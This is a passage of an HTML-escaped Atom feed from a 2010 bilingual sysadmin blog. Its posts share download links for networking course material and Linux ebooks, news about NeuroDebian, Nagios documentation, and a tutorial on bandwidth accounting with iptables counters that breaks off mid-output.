disklabel&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Unix File System UFS and UFS2 (Sun/BSD/...)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;XFS, SGI's Journaled File System&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Need more details??&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;You can download for free &lt;a href="http://www.cgsecurity.org/wiki/TestDisk_Download"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-5414382657029574979?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/5414382657029574979/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/recuperacion-de-datos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5414382657029574979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5414382657029574979'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/recuperacion-de-datos.html' title='Recuperación de Datos'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-8647890035608202154</id><published>2010-12-09T21:16:00.000-08:00</published><updated>2010-12-09T21:16:54.854-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='netfilter'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='iptables'/><title type='text'>Referencia de IPTABLES</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.troubleshooters.com/lpm/200305/filtertable.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="295" src="http://www.troubleshooters.com/lpm/200305/filtertable.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;A petición del compañero spark pues les dejo una referencia de IPTABLES, la pueden descargar de &lt;a href="http://www.megaupload.com/?d=H8AVN8U7"&gt;aquí&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Ojo, no es la que yo usé cuando aprendí, sin embargo es muy buena, ya la revisé.&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-8647890035608202154?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/8647890035608202154/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/referencia-de-iptables.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8647890035608202154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8647890035608202154'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/referencia-de-iptables.html' title='Referencia de IPTABLES'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-7767736638607340278</id><published>2010-12-06T09:15:00.000-08:00</published><updated>2010-12-06T09:17:29.532-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='Curso'/><title type='text'>Curso Avanzado de Redes con Tecnología Cisco</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_nsj4F78Zo8M/TESJArGbuEI/AAAAAAAAAN0/V9W98z7RlLE/s320/cisco.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_nsj4F78Zo8M/TESJArGbuEI/AAAAAAAAAN0/V9W98z7RlLE/s320/cisco.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Como es acostumbrado aquí dejo el material del curso avanzado de redes con tecnología cisco impartido por mi en las instalaciones de cluster.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Si alguien tiene algún comentario por favor postearlo.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Si alguien más desea descargar el material, sépase que no tiene las prácticas, únicamente tiene un caso de integración que deberá resolverse al final de este módulo.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;El material puede ser descargado de &lt;/span&gt;&lt;a href="http://www.megaupload.com/?d=TQJFUGM2"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-7767736638607340278?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/7767736638607340278/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/curso-avanzado-de-redes-con-tecnologia.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/7767736638607340278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/7767736638607340278'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/curso-avanzado-de-redes-con-tecnologia.html' title='Curso Avanzado de Redes con Tecnología Cisco'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_nsj4F78Zo8M/TESJArGbuEI/AAAAAAAAAN0/V9W98z7RlLE/s72-c/cisco.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1431670184220272242</id><published>2010-11-28T21:41:00.000-08:00</published><updated>2010-11-28T21:41:08.726-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='ebooks'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Linux Ebooks</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://ubuntuplaneta.files.wordpress.com/2010/07/terminal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://ubuntuplaneta.files.wordpress.com/2010/07/terminal.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Hi folks, in my inbox I have a new email from &lt;/span&gt;&lt;em&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;tips-linux.net&lt;/span&gt;&lt;/em&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; team, sincerely it's kind of weird 'cause the whole email body says "You might find useful these books", so the list shown below is being displayed:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://tips-linux.net/en/content/pro-bash-programming"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Pro bash programming.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tips-linux.net/en/content/expert-shell-scripting"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Expert shell scripting.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tips-linux.net/en/content/beginning-linux-command-line"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Beginning linux command line.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tips-linux.net/en/content/bash-pocket-reference"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Bash pocket reference.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tips-linux.net/en/content/linux-command-line-and-shell-scripting-bible"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Linux command-line and shell-scripting bible.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Finally a big acknowledge to our friends from tips-linux.net, today there's no original source 'cause as I said, I've received it into my inbox.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;I hope somebody could find this helpful.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1431670184220272242?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1431670184220272242/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/11/linux-ebooks.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1431670184220272242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1431670184220272242'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/11/linux-ebooks.html' title='Linux Ebooks'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4898340856860893338</id><published>2010-11-11T10:55:00.000-08:00</published><updated>2010-11-11T10:55:31.213-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='Curso'/><title type='text'>Material del Curso de Redes con Tecnología Cisco</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_nsj4F78Zo8M/TESJArGbuEI/AAAAAAAAAN0/V9W98z7RlLE/s1600/cisco.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://4.bp.blogspot.com/_nsj4F78Zo8M/TESJArGbuEI/AAAAAAAAAN0/V9W98z7RlLE/s320/cisco.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Hola a todos, aquí les dejo los enlaces para que puedan descargar las diapositivas de lo que hasta el momento hemos visto en el curso de redes.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;De momento sólo subiré las diapositivas, las prácticas se las pasaré en horas del curso.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Material de descarga &lt;a href="http://www.megaupload.com/?d=1Y5L475X"&gt;aquí&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4898340856860893338?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4898340856860893338/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/11/material-del-curso-de-redes-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4898340856860893338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4898340856860893338'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/11/material-del-curso-de-redes-con.html' title='Material del Curso de Redes con Tecnología Cisco'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_nsj4F78Zo8M/TESJArGbuEI/AAAAAAAAAN0/V9W98z7RlLE/s72-c/cisco.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-6613002329706738959</id><published>2010-10-14T13:59:00.000-07:00</published><updated>2010-10-14T13:59:14.683-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='neuroimaging'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Neuroimaging research in Debian</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://neuro.debian.net/_static/fmri_w200.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://neuro.debian.net/_static/fmri_w200.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; margin-top: 20px; text-align: justify;"&gt;OMG, surfing the web I found this interesting article, I didn't know the fact that debian had a branch dedicated to develop dedicated to neuroimaging, it's really surprising... &lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; margin-top: 20px; text-align: justify;"&gt;Debian 6.0 “squeeze” will be the first GNU/Linux distribution release ever to offer comprehensive support for magnetic resonance imaging (MRI) based neuroimaging research. It comes with up-to-date software for structural image analysis (e.g. ants), diffusion imaging and tractography (e.g. mrtrix), stimulus delivery (e.g. psychopy), MRI sequence development (e.g. odin), as well as a number of versatile data processing and analysis suites (e.g. nipype). Moreover, this release will have built-in support for all major neuroimaging data formats. &lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; margin-top: 12px; text-align: justify;"&gt; Please see the &lt;a href="http://blends.alioth.debian.org/science/tasks/neuroscience-cognitive"&gt;Debian Science&lt;/a&gt; and &lt;a href="http://debian-med.alioth.debian.org/tasks/imaging"&gt;Debian Med&lt;/a&gt; task pages for a comprehensive list of included software and the &lt;a href="http://neuro.debian.net/"&gt;NeuroDebian webpage&lt;/a&gt; for further information.&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; margin-top: 20px; text-align: justify;"&gt;&lt;strong&gt;NeuroDebian at the Society for Neuroscience meeting 2010&lt;/strong&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt; The NeuroDebian team will run a Debian booth at the &lt;a href="http://www.sfn.org/am2010/"&gt;Society for Neuroscience meeting (SfN2010)&lt;/a&gt; that will take place November 13-17 in San Diego, USA. The annual meeting of the Society for Neuroscience is one of the largest neuroscience conferences in the world, with over 30,000 attendees. Researchers, clinicians, and leading experts discuss the latest findings about the brain, nervous system, and related disorders.&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;a href="http://news.debian.net/2010/10/07/neuroimaging-research-in-debian/"&gt;Original source is here.&lt;/a&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-6613002329706738959?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/6613002329706738959/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/10/neuroimaging-research-in-debian.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6613002329706738959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6613002329706738959'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/10/neuroimaging-research-in-debian.html' title='Neuroimaging research in Debian'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4571644051741028164</id><published>2010-10-01T09:57:00.000-07:00</published><updated>2010-10-01T10:12:07.264-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitoreo de red'/><category scheme='http://www.blogger.com/atom/ns#' term='Cacti'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='centreon español'/><category scheme='http://www.blogger.com/atom/ns#' term='nagios'/><category scheme='http://www.blogger.com/atom/ns#' term='centreon english'/><title type='text'>Nagios/Centreon: Tutorials and Documentation</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Aquí dejo una página que contiene una excelente documentación sobre los sistemas de monitoreo que yo conozco y he usado: Nagios, Centreon y Cacti.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Hago la aclaración que esta documentación está en francés y de momento no voy a traducirla, si alguien ocupa ayuda con la traducción de alguno postee un comentario y veremos la forma de ayudarlo a traducirlo.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Well for those whose don't speak spanish nor french, I share this link to Centreon, Nagios and Cacti documentation, I already took a review about it and I can tell you that is really a good documentation. By the way I also tell you that I'm not planning to translate this docs to Spanish nor English, because I'm already working but if anyone needs help to start translating just post it and I'll try to find a way to help him.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;You can find a couple of links here:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://blog.nicolargo.com/nagios-tutoriels-et-documentations"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;http://blog.nicolargo.com/nagios-tutoriels-et-documentations&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;a href="http://www.regis-senet.fr/publications/systeme-exploitation/supervision_reseau.rar"&gt;http://www.regis-senet.fr/publications/systeme-exploitation/supervision_reseau.rar&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4571644051741028164?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4571644051741028164/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/10/nagioscentreon-tutotiales-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4571644051741028164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4571644051741028164'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/10/nagioscentreon-tutotiales-y.html' title='Nagios/Centreon: Tutorials and Documentation'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1172654364091530500</id><published>2010-09-24T15:17:00.000-07:00</published><updated>2010-09-24T15:17:17.231-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitoreo'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='iptables'/><category scheme='http://www.blogger.com/atom/ns#' term='bandwidth'/><title type='text'>Bandwidth monitoring with iptables</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;Most of the time we use iptables to set up a firewall on a machine, but iptables also provides packet and byte counters. Every time an iptables rule is matched by incoming or outgoing data streams, the software tracks the number of packets and the amount of data that passes through the rules.&lt;br /&gt;&lt;br /&gt;It is easy to make use of this feature and create a number of "pass-through rules" in the firewall. These rules do not block or reroute any data, but rather keep track of the amount of data passing through the machine. By using this feature, we can build a simple, effective bandwidth monitoring system that does not require additional software.&lt;br /&gt;&lt;br /&gt;Depending on how the firewall rules are set up, the setup for bandwidth monitoring may be very simple or very complex. For a desktop computer, you may need to create only two rules to log the total input and output. A system acting as a router could be set up with additional rules to show the totals for one or more subnets, right down to the individual IP address within each subnet. In addition to knowing exactly how much bandwidth each host and subnet on the network is using, this system could be used for billing or chargeback purposes as well.&lt;br /&gt;&lt;br /&gt;Rules setup&lt;br /&gt;&lt;br /&gt;The rules setup itself is quick and straightforward, and takes only a few minutes. Obviously, you need to be root or use sudo to insert iptables rules.&lt;br /&gt;&lt;br /&gt;The examples in this article are based on a router that provides Internet service to various towns. The iptables rules keep track of how much bandwidth each town uses and how much bandwidth each customer in that town uses. At the end of each month, an administrator checks the counters. Individuals who use more than they were supposed to get billed for over usage, the counters are reset to zero, and the process is repeated at the beginning of the next month.&lt;br /&gt;&lt;br /&gt;The IP addresses in this article are modified from the real addresses. We'll use the private IP space 192.168.0.0/16, subnetted into smaller blocks.&lt;br /&gt;&lt;br /&gt;First, we will create two custom chains for the two towns and put town-specific rules in them. This will keep the built-in FORWARD chain relatively clean and easy to read. In this example, the FORWARD chain will only provide the global counters (all customers combined on a per-town basis).&lt;br /&gt;&lt;br /&gt;iptables -N town-a&lt;br /&gt;iptables -N town-b &lt;br /&gt;&lt;br /&gt;The next data element is the total bandwidth counter. Because this machine is a router only, the INPUT and OUTPUT chains are of little interest. This machine will not be generating a significant amount of bandwidth (i.e., it is not serving as a mail or Web server), nor will it be receiving significant uploads from other hosts.&lt;br /&gt;&lt;br /&gt;Total bandwidth downloaded by and uploaded to the two towns combined:&lt;br /&gt;&lt;br /&gt;iptables -A FORWARD &lt;br /&gt;&lt;br /&gt;This is the easiest of rules. The rule will match any source and any destination. Everything that is being passed through this router matches this rule and will provide the total of combined downloaded and uploaded data.&lt;br /&gt;&lt;br /&gt;We also want to see how much each town downloads and uploads separately:&lt;br /&gt;&lt;br /&gt;# Town A Downloads&lt;br /&gt;iptables -A FORWARD -d 192.168.1.0/26 -j town-a&lt;br /&gt;&lt;br /&gt;# Town A Uploads&lt;br /&gt;iptables -A FORWARD -s 192.168.1.0/26 -j town-a&lt;br /&gt;&lt;br /&gt;# Town B Downloads&lt;br /&gt;iptables -A FORWARD -d 192.168.1.64/27 -j town-b&lt;br /&gt;&lt;br /&gt;# Town B Uploads&lt;br /&gt;iptables -A FORWARD -s 192.168.1.64/27 -j town-b &lt;br /&gt;&lt;br /&gt;The use of source and destination in the above rules may be a source of confusion. Destinations are often equated with uploads, and sources are downloads. This would be true whether the data was destined for the router or originated from the router itself.&lt;br /&gt;&lt;br /&gt;In this application, however, we reverse the perspective. This router is forwarding (uploading) data to a destination, but from a customer perspective, data is being received. In other words, the customer is downloading that data. When dealing with customers, the terminology is data they downloaded, not what the router uploaded to them. This is why in the FORWARD chain, the terms destination and source typically have reversed meanings.&lt;br /&gt;&lt;br /&gt;The rules created above give us separate totals for all downloads to and uploads from each individual town. This is accomplished by matching the source and destination of all traffic through the router for a town's specific subnet. After a rule is matched, the -j option invokes a jump to one of the custom chains. These custom chains can then be used to add additional rules pertaining to the subnet. For instance, rules can be created for each individual IP address in that subnet to track bandwidth on a per-host basis:&lt;br /&gt;&lt;br /&gt;# Town A, Host 192.168.1.10 Download&lt;br /&gt;iptables -A town-a -d 192.168.1.10&lt;br /&gt;&lt;br /&gt;# Town A, Host 192.168.1.10 Upload&lt;br /&gt;iptables -A town-a -s 192.168.1.10 &lt;br /&gt;&lt;br /&gt;You could repeat this process for every IP address for all towns within the subnet.&lt;br /&gt;&lt;br /&gt;Bandwidth statistics&lt;br /&gt;&lt;br /&gt;Viewing the current bandwidth usage is a matter of running iptables with the -L and -v options. The -L outputs the statistics for a chain (or all chains if none is provided). The -v option provides verbose output, including the packet and byte counters that we are interested in. I recommend using the -n option as well to prevent DNS lookups, meaning iptables will show the IP addresses without attempting to resolve the hostnames for the IP addresses, which would put additional and unnecessary load on the router.&lt;br /&gt;&lt;br /&gt;The output below is modified from the full output for brevity:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@raptor:~# iptables -L -v -n&lt;br /&gt;&lt;br /&gt;Chain FORWARD (policy ACCEPT 7936M packets, 3647G bytes)bytes target source destination&lt;br /&gt;338G 0.0.0.0/0 0.0.0.0/0&lt;br /&gt;104G town-a 0.0.0.0/0 192.168.1.0/26&lt;br /&gt;40G town-a 192.168.1.0/26 0.0.0.0/0&lt;br /&gt;20G town-b 0.0.0.0/0 192.168.1.64/27&lt;br /&gt;12G town-b 192.168.1.64/27 